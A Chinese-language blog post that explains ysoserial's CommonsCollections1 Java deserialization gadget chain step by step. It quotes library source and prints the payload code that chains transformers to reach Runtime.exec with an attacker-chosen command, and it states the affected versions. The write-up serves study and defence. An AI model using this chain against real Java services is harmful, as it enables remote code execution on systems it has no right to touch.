ysoserial学习之CommonsCollections1

2021-05-01

前言

CommonCollections系列的gadgets我们在反序列化利用中用的很多，下面剖析一下ysoserial中CommonCollections1的调用链和原理。

实验环境:jdk1.7.0_80、commons-collections:commons-collections:3.1

代码分析

at org.apache.commons.collections.functors.ChainedTransformer.transform
	  at org.apache.commons.collections.map.LazyMap.get
	  at sun.reflect.annotation.AnnotationInvocationHandler.invoke
	  at com.sun.proxy.$Proxy0.entrySet(Unknown Source:-1)
	  at sun.reflect.annotation.AnnotationInvocationHandler.readObject

以上是关键的比较难理解的调用链堆栈。一般来说CommonCollections系列调用到ChainedTransformer.transform的话就已经可以完成代码执行了。下面具体分析。

我们先看一个方法

InvokerTransformer.class-> transform(Object input)

public Object transform(Object input) {
      if (input == null) {
          return null;
      } else {
          try {
              Class cls = input.getClass();      //获取input参数的class对象
              Method method = cls.getMethod(this.iMethodName, this.iParamTypes);     //获取class对象的某个方法                      return method.invoke(input, this.iArgs);               //调用上面对象的方法
          } catch (NoSuchMethodException var5) {
              throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
          } catch (IllegalAccessException var6) {
              throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
          } catch (InvocationTargetException var7) {
              throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
          }
      }
  }

因此，这个方法赋予了我们调用任意类中任意方法的权力，但是我们如果想调用java.lang.runtime.getRuntime().exec的话，只调用一次可不够，有的人说我input直接设置为java.lang.runtime.getRuntime()，method设置为exec不就行了？可我们要知道此处我们写完之后是需要把exp进行序列化的，java.lang.runtime.getRuntime()得到的类无法序列化，因此我们就不能这么写，只能一步步的从java.lang.runtime这个类不断反射调用到exec方法。

然后我们就找到了ChainedTransformer.class->transform(Object object)

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

该方法将调用this.iTransformers[i].transform(object)方法，并将其返回值作为下一次循环的参数。恰好iTransformers是Transformer类型的，可以存放InvokerTransformer。理想中我们只要把this.iTransformers[]中存放一系列InvokerTransformer对象就可以了，但观察yso的CommonCollections的exp并非如此，其数组放置的是一个new ConstantTransformer(Runtime.class)，当然ConstantTransformer也是Transformer类型的，当然可以放到里面，但为什么要这么做呢。我放置一个InvokerTransformer，把input设置为Runtime.class不就可以了吗？带着这个问题我们看下ConstantTransformer这个类

ConstantTransformer.class->transform(Object input)

1
2
3

public Object transform(Object input) {
        return this.iConstant;
    }

可以看到，这个类的transformer做用是，不管输入什么，都返回当前类的iConstant属性。这就很方便了。也就是说我只要把this.iConstant设置为Runtime.class，那么我的触发条件可以是transform(1),transform(2),transform(10086)，不管是什么，都会返回Runtime.class这个对象。而如果我们使用InvokerTransformer放在数组首的，则必须其transform方法的参数要是Runtime.class。这样对调用链的要求更加苛刻了。

拿着exp对照重新梳理一遍

final String[] execArgs = new String[] { command };         //command是要执行的命令
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
	new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
		new ConstantTransformer(Runtime.class),
		new InvokerTransformer("getMethod", new Class[] {
			String.class, Class[].class }, new Object[] {
			"getRuntime", new Class[0] }),
		new InvokerTransformer("invoke", new Class[] {
			Object.class, Object[].class }, new Object[] {
			null, new Object[0] }),
		new InvokerTransformer("exec",
			new Class[] { String.class }, execArgs),
		new ConstantTransformer(1) };

上面是部分exp，在这条exp中，我们后面只要把 transformerChain的iTransformers方法设置为transformers，然后能调用到transformerChain.transform(xxx)即可。而我们要是数组首使用了InvokerTransformer，那么就必须能调用到transformerChain.transform(Runtime.class)才行，要求更加苛刻。

那么接下来的任务就是找到哪里能调用到transformerChain.transform(xxx)，yso运用了LazyMap类达成目的。

LazyMap.class->get(Object key)

public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

可以看到如果get的参数key不在map的key中，就会调用到this.factory.transform(key)，如果this.factory的值为transformerChain，那么就可以调用到transformerChain.transform(key)。接下来的任务转化为如何调用到lazymap.get。到这里就可以对照文章开头给出的调用链看了，我们发现lazymap.get的前一跳是AnnotationInvocationHandler.invoke(Object var1, Method var2, Object[] var3)。部分代码摘抄如下：

case 0:
               return this.toStringImpl();
           case 1:
               return this.hashCodeImpl();
           case 2:
               return this.type;
           default:
               Object var6 = this.memberValues.get(var4);      //var4是invoke第二个参数var.getName得到的

所以我们只要把this.memberValues设置为lazymap就可以调用到其get方法。首先我们看到AnnotationInvocationHandler实现了InvocationHandler，玩过动态代理的人都知道，如果一个类想实现动态代理，一种方式就是实现InvocationHandler。然后调用Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih) //ih就是那个继承了InvocationHandler的类。该调用方法的到的返回值调用其任何方法都会触发继承了InvocationHandler那个类的invoke方法。所以我们这里把ih直接设置为AnnotationInvocationHandler好了，接下来只要(Map)Proxy.newProxyInstance生成的代理类调用自己的任意方法，就能触发AnnotationInvocationHandler的invoke。

这里最后作者把生成的proxy作为参数实例化到了AnnotationInvocationHandler中，作为AnnotationInvocationHandler类的this.memberValues参数。然后把该类返回，这个类经过序列化反序列化后就可以触发整个调用链。经过反序列化后可以触发调用链，那么关键肯定在readObject。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();    //关键，调用了this.memberValues.entrySet(),也就是调用了动态代理类的entrySet方法，我们之前说过了，不管调用了动态代理的什么方法，此调用链都会触发。

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

yso关键exp代码全文

public InvocationHandler getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
			new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);    //调用到lazyMap.get(key)，该key是内部map不存在得key即可

		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);   //创建了

		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return handler;
	}

为什么高版本得jdk无法使用CommonCollections1?

我测试得1.8.0_211版本jdk，AnnotationInvocationHandler中得readObject最后多出了这些内容。

1 2	AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3); AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);

而var7为

1	LinkedHashMap var7 = new LinkedHashMap();

并且后面无对var7赋值操作，导致我们的memberValues属性内容为空，因此就无法调用到lazyMap了，故调用链中断。

利用条件(网上找到，并未验证):commonscollections<=3.2.1 、jdk< 8u71

后记

最后关于为什么jdk1.8高版本无法使用cc1的原因纠结了很久……还是不熟练